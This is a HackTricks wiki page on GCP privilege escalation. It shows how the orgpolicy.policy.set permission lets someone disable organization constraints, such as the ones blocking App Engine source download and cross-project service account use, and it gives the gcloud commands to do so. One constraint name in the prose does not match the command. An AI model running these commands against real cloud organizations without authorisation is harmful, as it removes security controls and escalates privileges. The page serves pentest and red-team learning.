GCP - Orgpolicy Privesc

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

orgpolicy

orgpolicy.policy.set

An attacker leveraging orgpolicy.policy.set can manipulate organizational policies, which will allow him to remove certain restrictions impeding specific operations. For instance, the constraint appengine.disableCodeDownload usually blocks downloading of App Engine source code. However, by using orgpolicy.policy.set, an attacker can deactivate this constraint, thereby gaining access to download the source code, despite it initially being protected.

# Get info
gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --organization <id> | --project <id>]

# Disable
gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]

A python script for this method can be found here.

orgpolicy.policy.set, iam.serviceAccounts.actAs

uusally it’s not possible to attach a service account from a different project to a resource becasue there is a policy constraint enforced named iam.disableCrossProjectServiceAccountUsage that prevents this action.

It’s possible to verify if this constraint is enforced by running the following command:

gcloud resource-manager org-policies describe \
  constraints/iam.disableCrossProjectServiceAccountUsage \
  --project=<project-id> \
  --effective

booleanPolicy:
  enforced: true
constraint: constraints/iam.disableCrossProjectServiceAccountUsage

This prevents an attacker from abusing the permission iam.serviceAccounts.actAs to impersonate a service account from another project without needed further infra permissions to start a new VM for example, which could lead to privilege escalation.

However, an attacker with the permissions orgpolicy.policy.set can bypass this restriction by disabling the constraint iam.disableServiceAccountProjectWideAccess. This allows the attacker to attach a service account from another project to a resource in his own project, effectively escalating his privileges.

gcloud resource-manager org-policies disable-enforce \
  iam.disableCrossProjectServiceAccountUsage \
  --project=<project-id>

References

• https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.